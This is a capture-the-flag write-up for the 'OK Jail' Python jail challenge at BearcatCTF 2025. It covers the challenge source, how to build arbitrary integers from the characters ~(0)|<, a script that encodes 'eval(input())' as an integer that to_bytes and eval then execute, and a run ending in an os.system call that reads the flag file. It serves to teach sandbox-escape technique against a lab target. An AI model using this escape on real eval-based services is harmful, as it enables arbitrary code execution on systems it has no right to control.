BearcatCTF 2025 - OK Jail

Introduction

OK Jail was a Python jail challenge at BearcatCTF 2025. The solution involved numerical manipulation with a limited character set, as well as abusing Python builtin and integer functions.

Reviewing the Source Code

This is the source code for the OK Jail challenge, provided during the CTF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import json
import builtins

def choose_cell():
print("Choose your cell")
while True:
inp = input('> ')
if hasattr(builtins,inp):
return inp
print("I don't think that cell would hold you")

def choose_inmate(ok):
print("Choose your inmate")
while True:
inp = input('> ')
if hasattr(type(ok),inp):
return inp
print("No that inmate is in solitary")

def name_registration():
print("What is your name?")
while True:
inp = input('> ')
try:
return json.loads(inp)
except: pass
print("Is that an alias or...")

def checkin():
print("How are you doing?")
allowed = set('~(0)|<')
while True:
inp = input('> ')
if set(inp) <= allowed:
try:
print(inp)
return eval(inp)
except:
print('Wow must be rough')
else:
print('This may be the wrong jail for you.')

def main():
print("Welcome to the OK Jail!")
print("Let's hope you won't be staying long...\n")

ok = checkin()
name = name_registration()
inmate = choose_inmate(ok)
cell = choose_cell()

jail = f'builtins.{cell}(ok.{inmate}(*{name}))'
print(jail)
try:
eval(jail)
except:
print("JAILBREAK DETECTED")


if __name__ == "__main__":
main()

Let’s break this down step by step.

Our first call in the sequence is checkin() to populate the ok variable.

Looking at this function, we can see that it first checks if all characters in the string are in the set ~(0)|<. Wow, that is a very limited character set. Then, it evaluates the code and make sure it runs - if so, its output becomes the ok variable.

Then comes the name, which is simply just parsed JSON. inmate can be any function on the ok object’s type, and cell is any builtin function.

After gathering all that information, our jail function is called: builtins.{cell}(ok.{inmate}(*{name})). Let’s break this down too:

  • *{name} - Expands the name object into a function’s arguments.
  • ok.{inmate}(*{name}) - Calls the function name stored in inmate on the ok object with the expanded value of name as the arguments. If you recall correctly, inmate is the function name we specified earlier.
  • builtins.{cell}(...) - Finally, we call our specified builtin.

Approaching Exploitation

If we look at Python’s list of built-in functions, we can see eval is one of them. This means if we can get an arbitrary string from a function call on ok, we can automatically win it.

First, we need to look in a bit more detail at what ok actually is, though. We know that we have 6 characters we can work with, and those are ~(0)|<. Let’s take a closer look at what we can do here:

  • Left shifts, with <<
  • Less-than comparisons, with <
  • Inversions, with ~
  • Bitwise OR, with |
  • Of course, the number 0

Hmm, doesn’t look like we can really get anything other than an int out of this. Wait, don’t give up yet. Let’s take a quick look at the standard int functions

Aha! Turns out, the int class has a to_bytes function, that turns the integer into a byte string! This might be exactly what we need. I tested real quick to make sure eval could accept a bytes argument:

1
2
>>> eval(b'1')
1

This means, if we can get a number representing some sort of Python code, we can win it!

The Number Conundrum

But, wait. With such a limited character set, how are we going to get any number besides zero? Let’s take a look at our operations. Inversions, bitwise OR, comparisons, left shifts…

Considering we have left shifts and bitwise OR, if we can somehow get a number 1 of any kind, it all falls together: 1<<1 is 2, 1<<1<<1 is 4, and 1|1<<1|1<<1<<1 is 7! We can simply construct the number bit by bit until we get the full number.

But the problem is, how do we get a 1? Let’s take a look at our other operations. We see we have an invert operation, but the only thing to run it on is 0, so let’s try that:

1
2
>>> ~0
-1

We have -1. Now, what can we do with this? We can’t really do anything with -1. Unless

Since < is in our character set, we can do anything with a <. That means left shift, but that also means a less-than operation. We know -1 is less than 0, so:

1
2
>>> ~0<0
True

That’s even better! But, again, what in the world are we going to do with it? True is equivalent to 1, but it’s not like we can shift a boolean, right?

1
2
>>> (~0<0)<<0
1

Oh. And this is where the security of this application all falls apart. We can just pass in a number that evaluates to some sort of payload, and then call to_bytes on that number, and then call eval on that bytes object, and now we have code execution.

Note: (~0<0)|0 also works and is a character shorter, if you’re itching to save some bytes.

Generating the Payload

We, ideally, want a short payload. Every byte has the potential to increase our payload by several kilobytes.

The shortest payload I could find was the 13-character eval(input()), which simply just runs whatever we type in.

Now, we have to generate the payload. First, we wanna get our payload into a numeric form:

1
2
3
>>> import binascii
>>> int(binascii.hexlify(b"eval(input())"), 16)
8038681421665166480228657670441

There we go!

My conversion code looked something like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# eval(input())
bits = bin(0x6576616c28696e707574282929)[2:]
one = "(~0<0)"
arr = []

def conv_num(num):
bits_num = bin(num)[2:]
arr2 = []
if num == 0: return "0"
for i in range(0, len(bits_num)):
if bits_num[i] == "1":
arr2.append("((~0<0)<<0" + ("<<((~0<0)<<0)" * (len(bits_num) - i - 1)) + ")")
final = "|".join(arr2)
return final

for i in range(0, len(bits)):
if bits[i] == "1":
arr.append(f"({one}<<({(conv_num(len(bits)-i-1))}))")

payload = "|".join(arr)

Let’s explain this mess. First, we convert the number to a binary string to make it a bit easier to manipulate individual bits. Then, we create our array of bit calculations. We also go ahead and return 0 if our number is 0.

Then, for each bit set to 1, we shift (~0<0)<<0 (1) left as many times as we need to get it in the correct place. We don’t need to do anything with zero bits. Then, we join it all with a bitwise OR.

This code generates the integer we need to convert into bytes. Then, it’s as simple as passing to_bytes as our inmate, eval as our cell, and the arguments to to_bytes: [13, "big"] (length 13, in big-endian) as the name. Then, we get to run whatever Python code we want.

Here’s a local run (since the servers are now offline):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Welcome to the OK Jail!
Let's hope you won't be staying long...

How are you doing?
> ((~0<0)<<(....<<(0))
What is your name?
> [13, "big"]
Choose your inmate
> to_bytes
Choose your cell
> eval
builtins.eval(ok.to_bytes(*[13, 'big']))
__import__("os").system("cat flag.txt")
BCCTF{flag}

Conclusion

Sometimes, even with code restrictions, it is possible to “jailbreak” from these restrictions and execute arbitrary code. The OK Jail challenge emphasizes this because, even though we only get to work with a limited function set and character set, we are still able to abuse the functionalities of the Python programming language to break free from the restrictions and execute our own code.